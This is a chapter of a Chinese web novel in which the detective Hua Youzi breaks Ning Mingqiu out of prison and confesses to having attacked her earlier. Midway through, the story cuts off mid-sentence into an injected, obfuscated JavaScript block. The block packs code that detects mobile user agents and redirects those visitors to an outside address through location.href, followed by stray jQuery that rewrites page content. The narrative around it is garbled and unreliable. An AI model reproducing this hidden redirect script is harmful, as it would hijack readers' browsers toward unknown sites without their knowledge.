48.第 48 章

作品:《御兽师探案手记

    花游子知道重监里有个叫做秀景的囚犯,之前问起过,被告知牢里的人曾是宫中的丫鬟,再问下去,就什么都问不出来了。


    现在他明白了,这秀景是摄政王府中的丫鬟,是证实柳轻寒身世的知情者,也是让义父师出有名的重要人物。


    可她再重要也不如另外一人重要。


    引路的吏役在侧边抬起了手:“监使,快到了,那秀景就被关押在前方。”


    “宁大人呢?”


    “宁大人?”


    “宁明秋宁大人,她应该也被关押在此处。”


    “在的在的,宁大人也……”


    不需吏役把话讲完,一行人就走到了宁明秋在的监牢门口,花游子终于又见到了宁明秋。


    她依旧坐着轮椅,还是那副安静的样子,瞧见了他们一行人也不见意外,目光从花游子的脸移到了那引路的吏役脸上。


    吏役有些摸不着头脑,她知道花大人是被章司主派来找秀景的,可没听说还有宁大人的事,但花大人已经在门外停住了脚步,没有再往前走的意思。


    “监使……不知道宁大人是?”


    “钥匙给我。”


    吏役不敢多言,翻了翻挂在腰侧的钥匙,找出后交到花游子手上。


    花游子抛了抛手中的钥匙,从跟着他进监牢的吏役中挑了个顺眼的:“就你,带人跟着他去找秀景,再把秀景给章司主送过去。”


    对方愣住了:“我……”


    花游子:“去吧。”


    “此事非同小可,章司主说……”


    “押送个丫鬟,这点小事你都做不了?”


    “……做的了。”


    于是这吏役就带着一行人继续往前了。


    花游子没觉得送秀景这差事能出什么意外,只要秀景知道摄政王遗孤要谋反,无需威逼利诱,她也会依照义父的计划行事。既然什么都不必说、什么都不必做,随便找个人去送就好。


    而宁明秋这边就比较重要了。


    义父谋反一事成了还好,可若是败了,宁明秋可就要同御镇司一起问斩了,以防万一,在此之前得想个法子将宁明秋救出来。


    花游子拿钥匙打开了面前的挂锁,又解开了铁链,这牢门才算是开了。


    “宁大人,许久不见。”


    宁明秋摸不清这是个什么状况,坐在牢里没动:“花大人。”


    二人一来一去打了招呼,不远处也响起了铁链相击的声音,方才过去的那一行人又走了回来,宁明秋注意到这几个吏役之中多了个身穿囚服的女人,女人不似她想象中的憔悴,她神色平静,看了宁明秋一眼,默不作声地跟着吏役走了。


    好像早就预想到会有这么一天一样。


    宁明秋想起她说过的那句“需要我活着来证明此人正是摄政王的血脉”,便明白她为何被带走了。


    但这秀景没看花游子,花游子也没有要跟着走的意思。


    看这样子花游子不是那个所谓的“摄政王的血脉”。


    那他还愣在这里做什么?


    他义父要是谋反成了,摄政王的遗腹子可就要登上皇位了,那人若是玩家,游戏就结束了,花游子现在最该做的就是想办法鸠占鹊巢、狸猫换太子才对,只要他成了摄政王遗孤,这游戏的赢家就是他了。


    眼下的花游子分明是离游戏胜利最近的人,但他不但有闲心给宁明秋送糕点,还在这里同宁明秋闲聊?


    难不成他是来拉拢宁明秋,与之商讨如何鸠占鹊巢的?


    若是为此送了糕点,倒也算是个合理的解释。


    宁明秋心中了然了几分,便从怀中掏出那包糕点,问:“花大人,你这是何意?”


    花游子进了牢门,在宁明秋跟前蹲下:“宁大人,此处不便言语,我们得换个地方。”


    说完,他牵起宁明秋的手,刹那间,宁明秋眼前的景色就变了,原本阴冷的监牢变成了寻常的街巷,只是夜色已深,监牢与街巷静得如出一辙。


    没等宁明秋多做反应,她就已经被花游子搬上了肩头。


    “去哪?”


    “嘘。”


    宁明秋这才注意到四周并非空无一人,远处有个人露出了半个身子,穿着的是御镇司的衣服。


    这里竟然是御镇司的外面。


    大约是事发突然,花游子来不及挑个合适的地方,就临时将锚点定在了御镇司的墙外。


    宁明秋坐在花游子肩上,看着周围街巷的景色换了又换,直到变得越发眼熟,然后她就看着花游子轻车熟路地翻过了宁府的墙,又轻车熟路地摸到了宁明秋的屋前。


    宁明秋:“……”


    凶手丝毫不觉得自己再现了行凶的经过,他坦荡地拔出剑,冲着那扇刚刚修好不过半个月的窗户劈了过去。


    他连窗户都挑的同一扇!


    但宁明秋忽然想起来,自己的屋里还设了陷阱,当初设陷阱要捕的人就是花游子,现在花游子总算要落网了,宁明秋却拉住了这个翻起窗来行云流水的凶手。


    她指了指西边那间屋子。


    花游子点点头,二话不说就改了行凶的路线。


    二人走近了才发现,西边屋子的门开了条缝,露出了半只毛茸茸的脑袋。


    是大黄。


    宁明秋与大黄大眼瞪小眼,而花游子蹲下身子:“嘘——”


    大黄看了看宁明秋,又瞧了瞧花游子,缩回了脑袋,二人也跟着进了屋。


    “花大人,章司主大事在即,你却在这时候救我出监牢……不知是所为何事?”


    “果然什么都瞒不过宁大人,”花游子在扶着宁明秋坐定后,也给自己拉了把椅子,“宁大人,不知你是否还记得你我初次见的那日?”


    “记得,怎么了?”


    “前一晚,宁大人府上可是出过事?”


    宁明秋觉得他这总算是要敞开天窗说亮话了,只是不知为何,他在这节骨眼上了还要从头讲起。


    宁明秋:“那晚我落了水。”


    花游子一咬牙:“凶手是我。”


    宁明秋:“……”


    大黄:“……”


    花游子:“……”


    屋里没点灯,黑漆漆的,在他这句坦白后,二人一狗忽然就一起陷入了沉默,一时间谁都没有出声。


    宁明秋等了半天都没等到后文,忍不住开口:“……然后呢?”


    花游子:“……你不生气?”


    宁明秋:“我生什么气?”


    花游子心头一热,又不出声了。


    “我早就知道是你了,”宁明秋看不清他的脸,又催,“然后呢?”


    “你明知道是我,还……如此信任我。”


    “……”


    这个人究竟在说什么?


    宁明秋忽然觉得面前坐着的是个彻头彻尾的陌生人,好似从未认识过,回


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346483|194809||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    想起来,花游子的态度与反应,也经常让她摸不着头脑,而她对花游子的推测也有失误的时候。


    但想想看初见面时花游子的为人,宁明秋又觉得自己的判断不该有误才对。


    莫非……


    宁明秋:“你……是被夺舍了吧?”


    花游子哽住了。


    她宁愿相信他是被夺舍了,都不愿意相信他会谋害自己!这是何等的信任!


    “宁大人,下令御镇司背地里刺杀你的人,是当今圣上……眼下将你关入大牢的,也是他,他分明知道二皇子之死与御镇司有关,却依然不肯放过你,从常兴侯谋反开始,你在他心中就不是宁明秋,而是‘常兴侯之女’了。”


    “这与御镇司谋反有何关系?”宁明秋听的有些懵,“花大人,有话直说便好,皇上的事情我多少也是知道的。”


    “皇上打算向御镇司下手,并趁此机会将你一起解决……所以,若是义父成了,你也就安全了,可若是不成,你便会同御镇司共存亡,”花游子讲得认真,“义父能不能成,我不能妄断,但我知道宁大人若是在此时逃离京城,你就安全了。”


    宁明秋:“?”


    玩家若是离开京城,这还怎么赢?


    他不来劝宁明秋助御镇司一力,反而劝宁明秋离开,又是为何?


    “……花大人。”


    “恩?”


    “二皇子之死是我动的手。”


    “……”


    屋里又陷入了沉默。


    宁明秋觉得这花游子再怎么迟钝,知道了这件事后也总该明白宁明秋也是玩家了。


    “原来是这样。”


    宁明秋松了一口气:“是。”


    “对不起。”


    “?”


    “我不知道你是喊我去帮你处理尸首的,我去的太晚,恒王府的人到的又太快,没来得及听你说,我以为是有歹人刺杀恒王,又要对你下手,你才会找我,若是我早到一些……你也不会受此牢狱之灾了。”


    “……你不问我为何要对二皇子下手?”


    “我知道,你有你的理由。”


    “……”


    宁明秋腾地一下站起来走了两步:“我没有腿疾,我能自己走。”


    花游子郑重点头:“宁大人放心,我不会说出去的。”


    宁明秋觉得自己见了鬼了,像花游子这等人物居然也是玩家!


    “花大人,你为何就没想过,我也是个玩家?我能从水中活下来是因为我有能力,我能对二皇子下手也是因为我有能力?”


    “……”


    花游子在黑暗中瞪大了眼睛,他总算开始思考自己错的有多么离谱:“所以,宁大人那日唤我,不是因为遇见了行刺恒王的歹人,也并非是要处理尸首,而是因为那二皇子正是歹人!她要对你下手,你才会唤我去救你!”


    “罢了,”宁明秋无力地坐回了椅子,“差不多就是这样吧。”


    花游子悔恨:“还是我去晚了,若是我早点赶过去……”


    “花大人,你真的未被夺舍?”


    “从未被夺舍过,宁大人放心,从今日起,我不会再做让你伤心的事情了。”


    “……”


    趴在宁明秋脚边的大黄抱紧了脑袋,是一句话都不想听花游子说了。


    若是要选队友,大黄觉得二皇子可比这个花游子靠谱个一百倍,可谁让宁明秋没得选了呢。